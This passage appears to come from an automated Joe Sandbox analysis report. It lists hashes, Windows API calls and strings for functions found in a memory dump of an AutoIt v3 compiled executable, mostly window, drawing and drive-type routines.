Opcode ID: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction ID: f6a8aaabbb977991276218e8b1d81ed9c15d4a5e06c0fdbae832a9987a5e9524
Opcode Fuzzy Hash: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction Fuzzy Hash: A89143726090A789DB29467A857403EFFE16E923B131A079DD5F2CA1E1FD14C564B620

Function 00FF7A4A Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9709589cb8283b9647f1568d198ae612a879dc13ef1dee5fe304c155cce2aa3
Instruction ID: dc02e6e86b2565d12a880328d41a5d04ab8587fe5a3cbf09d84c374eedb58cfd
Opcode Fuzzy Hash: c9709589cb8283b9647f1568d198ae612a879dc13ef1dee5fe304c155cce2aa3
Instruction Fuzzy Hash: 1C618B32A0C70D96EA34792C8C95BBEF394DF82364F100959EB42CB2B5D9599E43F315

Function 00FF7CA7 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11553f0c69f3b7b1bc255ed1dddd193d7fbcf316b7b9f37a820e80550faccee2
Instruction ID: dc47338a7b956606dc2dd45e7da18ba914708ae38f93af1ad1c4332aa14c5062
Opcode Fuzzy Hash: 11553f0c69f3b7b1bc255ed1dddd193d7fbcf316b7b9f37a820e80550faccee2
Instruction Fuzzy Hash: 87619A32E0870D52DE3879285C91BBFF388DF42764F90085AEB42DB2B1DA56AD42F315

Function 00FF1706 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction ID: 90993b1cc7899954c10c90672605173a2062aa95cfd0c6962a9596a3e2b8d29c
Opcode Fuzzy Hash: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction Fuzzy Hash: 98818533A080A789EB2D423A857403EFFE17E923B131A079DD5F6CB1E1EE649554F660

Function 01042046 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c95f7cf2df7b625a7b0573be3ced746f1f61936de28eeccd6f9f451b6549263
Instruction ID: 4f67654b7a043678e26b65c3e2c5e2f829bae330111f77e0e1c4c20638664efc
Opcode Fuzzy Hash: 7c95f7cf2df7b625a7b0573be3ced746f1f61936de28eeccd6f9f451b6549263
Instruction Fuzzy Hash: 7221D5723216158BD728CE79C82267A73E5A754210F54863EF4E7C77C1DE3AA904CB80

Function 01052ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 01052B30
DeleteObject.GDI32(00000000), ref: 01052B43
DestroyWindow.USER32 ref: 01052B52
GetDesktopWindow.USER32 ref: 01052B6D
GetWindowRect.USER32(00000000), ref: 01052B74
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 01052CA3
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 01052CB1
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 01052CF8
GetClientRect.USER32(00000000,?), ref: 01052D04
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 01052D40
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 01052D62
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 01052D75
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 01052D80
GlobalLock.KERNEL32(00000000), ref: 01052D89
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 01052D98
GlobalUnlock.KERNEL32(00000000), ref: 01052DA1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 01052DA8
GlobalFree.KERNEL32(00000000), ref: 01052DB3
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 01052DC5
OleLoadPicture.OLEAUT32(?,00000000,00000000,0106FC38,00000000), ref: 01052DDB
GlobalFree.KERNEL32(00000000), ref: 01052DEB
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 01052E11
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 01052E30
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 01052E52
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0105303F

Strings

, xrefs: 01052FC5
DISPLAY, xrefs: 01052EA2
static, xrefs: 01052D3A, 01052E91
AutoIt v3, xrefs: 01052CF2

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: b298e345b099385fc7e3b7562d9cdc17a4e6a52c2a00a8c74cca2ae9e3550d9f
Instruction ID: 9b77dd510a6a82686d86d67bb73d1fa96cca34699dccd04ebc3eaefa7b5c80cf
Opcode Fuzzy Hash: b298e345b099385fc7e3b7562d9cdc17a4e6a52c2a00a8c74cca2ae9e3550d9f
Instruction Fuzzy Hash: 75028E71500205EFEB24DF64DD89EAE7BB9FF48310F048159F995AB2A5C779AD00CB60

Function 010670D5 Relevance: 49.8, APIs: 33, Instructions: 273COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 0106712F
GetSysColorBrush.USER32(0000000F), ref: 01067160
GetSysColor.USER32(0000000F), ref: 0106716C
SetBkColor.GDI32(?,000000FF), ref: 01067186
SelectObject.GDI32(?,?), ref: 01067195
InflateRect.USER32(?,000000FF,000000FF), ref: 010671C0
GetSysColor.USER32(00000010), ref: 010671C8
CreateSolidBrush.GDI32(00000000), ref: 010671CF
FrameRect.USER32(?,?,00000000), ref: 010671DE
DeleteObject.GDI32(00000000), ref: 010671E5
InflateRect.USER32(?,000000FE,000000FE), ref: 01067230
FillRect.USER32(?,?,?), ref: 01067262
GetWindowLongW.USER32(?,000000F0), ref: 01067284

Part of subcall function 010673E8: GetSysColor.USER32(00000012), ref: 01067421
Part of subcall function 010673E8: SetTextColor.GDI32(?,?), ref: 01067425
Part of subcall function 010673E8: GetSysColorBrush.USER32(0000000F), ref: 0106743B
Part of subcall function 010673E8: GetSysColor.USER32(0000000F), ref: 01067446
Part of subcall function 010673E8: GetSysColor.USER32(00000011), ref: 01067463
Part of subcall function 010673E8: CreatePen.GDI32(00000000,00000001,00743C00), ref: 01067471
Part of subcall function 010673E8: SelectObject.GDI32(?,00000000), ref: 01067482
Part of subcall function 010673E8: SetBkColor.GDI32(?,00000000), ref: 0106748B
Part of subcall function 010673E8: SelectObject.GDI32(?,?), ref: 01067498
Part of subcall function 010673E8: InflateRect.USER32(?,000000FF,000000FF), ref: 010674B7
Part of subcall function 010673E8: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 010674CE
Part of subcall function 010673E8: GetWindowLongW.USER32(00000000,000000F0), ref: 010674DB

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: e84c3593128f6c2bb616bd2c6c5b81846e3325b822d51fb0ee550f4f4890c1a5
Instruction ID: 8da13c21c10b3f6e4d728019516f6136fe5dcbbb2e1b427b7f13b812474e4751
Opcode Fuzzy Hash: e84c3593128f6c2bb616bd2c6c5b81846e3325b822d51fb0ee550f4f4890c1a5
Instruction Fuzzy Hash: 3EA18072008301EFE7219F64DD48A5B7BE9FB49324F100A19FAE2961E4D77AD944CB51

Function 00FE8D85 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 480windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 00FE8E14
SendMessageW.USER32(?,00001308,?,00000000), ref: 01026AC5
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 01026AFE
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 01026F43

Part of subcall function 00FE8F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00FE8BE8,?,00000000,?,?,?,?,00FE8BBA,00000000,?), ref: 00FE8FC5

SendMessageW.USER32(?,00001053), ref: 01026F7F
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 01026F96
ImageList_Destroy.COMCTL32(00000000,?), ref: 01026FAC
ImageList_Destroy.COMCTL32(00000000,?), ref: 01026FB7

Strings

0, xrefs: 01026DCF

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
String ID: 0
API String ID: 2760611726-4108050209
Opcode ID: ab4f3fedc18391296773d8f8d45b0fc9016b28a71bf6f8926ae9ba1ed94eb7ed
Instruction ID: 21859283a6d864f675cad6f2e71377f5ca167c457d49190ab5b78ce7b56a31cb
Opcode Fuzzy Hash: ab4f3fedc18391296773d8f8d45b0fc9016b28a71bf6f8926ae9ba1ed94eb7ed
Instruction Fuzzy Hash: 2012E130500261EFEB65EF18C944BAABBE5FF44300F5440A9F9D98B251CB37E892DB91

Function 01052711 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 0105273E
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0105286A
SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 010528A9
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 010528B9
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 01052900
GetClientRect.USER32(00000000,?), ref: 0105290C
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 01052955
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 01052964
GetStockObject.GDI32(00000011), ref: 01052974
SelectObject.GDI32(00000000,00000000), ref: 01052978
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 01052988
GetDeviceCaps.GDI32(00000000,0000005A), ref: 01052991
DeleteDC.GDI32(00000000), ref: 0105299A
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 010529C6
SendMessageW.USER32(00000030,00000000,00000001), ref: 010529DD
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 01052A1D
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 01052A31
SendMessageW.USER32(00000404,00000001,00000000), ref: 01052A42
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 01052A77
GetStockObject.GDI32(00000011), ref: 01052A82
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 01052A8D
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 01052A97

Strings

DISPLAY, xrefs: 0105295A
msctls_progress32, xrefs: 01052A13
static, xrefs: 0105294F, 01052A71
AutoIt v3, xrefs: 010528F8

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 012b8629689e56df49f105a73240deaabfec823fb1038365e50160bad4d3f2ac
Instruction ID: b0cabe63f3f54d8e32ccda6f9547ad5010c9e16992c3cb2e97d3c8536ea89e44
Opcode Fuzzy Hash: 012b8629689e56df49f105a73240deaabfec823fb1038365e50160bad4d3f2ac
Instruction Fuzzy Hash: F2B16EB2A00215AFEB24DFA8DD45FAF7BA9EF08710F048155F994EB290D779AD40CB50

Function 01044ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 01044AED
GetDriveTypeW.KERNEL32(?,0106CB68,?,\\.\,0106CC08), ref: 01044BCA
SetErrorMode.KERNEL32(00000000,0106CB68,?,\\.\,0106CC08), ref: 01044D36

Strings

Network, xrefs: 01044C02
ATAPI, xrefs: 01044C91
RAID, xrefs: 01044CBB
SATA, xrefs: 01044CD0
FileBackedVirtual, xrefs: 01044CEC
1394, xrefs: 01044C9F
\\.\, xrefs: 01044B3F
Unknown, xrefs: 01044BED, 01044C83
Fibre, xrefs: 01044CAD
CDROM, xrefs: 01044BFB
USB, xrefs: 01044CB4
ATA, xrefs: 01044C98
Removable, xrefs: 01044C10, 01044C15
Fixed, xrefs: 01044C09
MMC, xrefs: 01044CDE
SSA, xrefs: 01044CA6
Virtual, xrefs: 01044CE5
iSCSI, xrefs: 01044CC2
SAS, xrefs: 01044CC9
SCSI, xrefs: 01044C8A
RAMDisk, xrefs: 01044BF4
PhysicalDrive, xrefs: 01044B76
SSD, xrefs: 01044C4A

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 9cb6fb7bcf4f2bf0d15c6d93913defd8969c43befe488502580df0044ee9a344
Instruction ID: cfaef0f1c7f03ea917a6479f34bb3816c143fe7d9ceacac0f51f1a388583ad93
Opcode Fuzzy Hash: 9cb6fb7bcf4f2bf0d15c6d93913defd8969c43befe488502580df0044ee9a344
Instruction Fuzzy Hash: FF61D5B0A0410ADBCF44EF68CAD1A7C77E2AB04241B18406AF8D6EF251DB76DD85EB45

Function 010673E8 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 01067421
SetTextColor.GDI32(?,?), ref: 01067425
GetSysColorBrush.USER32(0000000F), ref: 0106743B
GetSysColor.USER32(0000000F), ref: 01067446
CreateSolidBrush.GDI32(?), ref: 0106744B
GetSysColor.USER32(00000011), ref: 01067463
CreatePen.GDI32(00000000,00000001,00743C00), ref: 01067471
SelectObject.GDI32(?,00000000), ref: 01067482
SetBkColor.GDI32(?,00000000), ref: 0106748B
SelectObject.GDI32(?,?), ref: 01067498
InflateRect.USER32(?,000000FF,000000FF), ref: 010674B7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 010674CE
GetWindowLongW.USER32(00000000,000000F0), ref: 010674DB
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0106752A
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 01067554
InflateRect.USER32(?,000000FD,000000FD), ref: 01067572
DrawFocusRect.USER32(?,?), ref: 0106757D
GetSysColor.USER32(00000011), ref: 0106758E
SetTextColor.GDI32(?,00000000), ref: 01067596
DrawTextW.USER32(?,010670F5,000000FF,?,00000000), ref: 010675A8
SelectObject.GDI32(?,?), ref: 010675BF
DeleteObject.GDI32(?), ref: 010675CA
SelectObject.GDI32(?,?), ref: 010675D0
DeleteObject.GDI32(?), ref: 010675D5
SetTextColor.GDI32(?,?), ref: 010675DB
SetBkColor.GDI32(?,?), ref: 010675E5

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 4299af8b1b0eb37db399e42e7d8efe9a2a0c5f97cd4fce1277aa7f5ac993c4c7
Instruction ID: 8e78d7ad5342581a897270f0432aa8f6843bdaaab09612780098533d301358aa
Opcode Fuzzy Hash: 4299af8b1b0eb37db399e42e7d8efe9a2a0c5f97cd4fce1277aa7f5ac993c4c7
Instruction Fuzzy Hash: A7618172900218AFEF119FA4DD48EEE7FB9EF09320F104151FA91AB2A1D7799940CF90

Function 01060FF3 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 01061128
GetDesktopWindow.USER32 ref: 0106113D
GetWindowRect.USER32(00000000), ref: 01061144
GetWindowLongW.USER32(?,000000F0), ref: 01061199
DestroyWindow.USER32(?), ref: 010611B9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 010611ED
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0106120B
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0106121D
SendMessageW.USER32(00000000,00000421,?,?), ref: 01061232
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 01061245
IsWindowVisible.USER32(00000000), ref: 010612A1
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 010612BC
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 010612D0
GetWindowRect.USER32(00000000,?), ref: 010612E8
MonitorFromPoint.USER32(?,?,00000002), ref: 0106130E
GetMonitorInfoW.USER32(00000000,?), ref: 01061328
CopyRect.USER32(?,?), ref: 0106133F
SendMessageW.USER32(00000000,00000412,00000000), ref: 010613AA

Strings

tooltips_class32, xrefs: 010611E6
(, xrefs: 0106131B
0, xrefs: 010610D3

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 69baf75ee4878a0067be2de018a4ee51aeb96b612f08853d38c5a71045a34dc8
Instruction ID: d6cac30011fa5b3781491f003455b88b33fa9e297ab5b86eb59f99e050780ed8
Opcode Fuzzy Hash: 69baf75ee4878a0067be2de018a4ee51aeb96b612f08853d38c5a71045a34dc8
Instruction Fuzzy Hash: F7B1AE71604341AFE750DF64C984B6ABBE9FF88310F048919F9D99B261C775E804CB91

Function 01060241 Relevance: 35.4, APIs: 7, Strings: 13, Instructions: 391windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 010602E5
_wcslen.LIBCMT ref: 0106031F
_wcslen.LIBCMT ref: 01060389
_wcslen.LIBCMT ref: 010603F1
_wcslen.LIBCMT ref: 01060475
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 010604C5
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 01060504

Part of subcall function 00FEF9F2: _wcslen.LIBCMT ref: 00FEF9FD

Part of subcall function 0103223F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 01032258
Part of subcall function 0103223F: SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 0103228A

Strings

GETITEMCOUNT, xrefs: 01060316, 01060337
SELECTALL, xrefs: 01060515
GETSUBITEMCOUNT, xrefs: 01060384, 0106039F
ISSELECTED, xrefs: 010604DD
SELECTCLEAR, xrefs: 0106052D
SELECTINVERT, xrefs: 0106057E
VIEWCHANGE, xrefs: 01060675
GETTEXT, xrefs: 010603EC, 01060407
FINDITEM, xrefs: 01060627
DESELECT, xrefs: 0106059C
GETSELECTEDCOUNT, xrefs: 01060470, 0106048B
GETSELECTED, xrefs: 010605E1
SELECT, xrefs: 01060548

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 1103490817-719923060
Opcode ID: 03149422caeb50688d55b9c89416bce381f9dc2a9f75a7a0cebacd6b1c248991
Instruction ID: 847077ee51822df20cdf0df127a12e3f7135d37732e26d49e1a9049acdcab4f2
Opcode Fuzzy Hash: 03149422caeb50688d55b9c89416bce381f9dc2a9f75a7a0cebacd6b1c248991
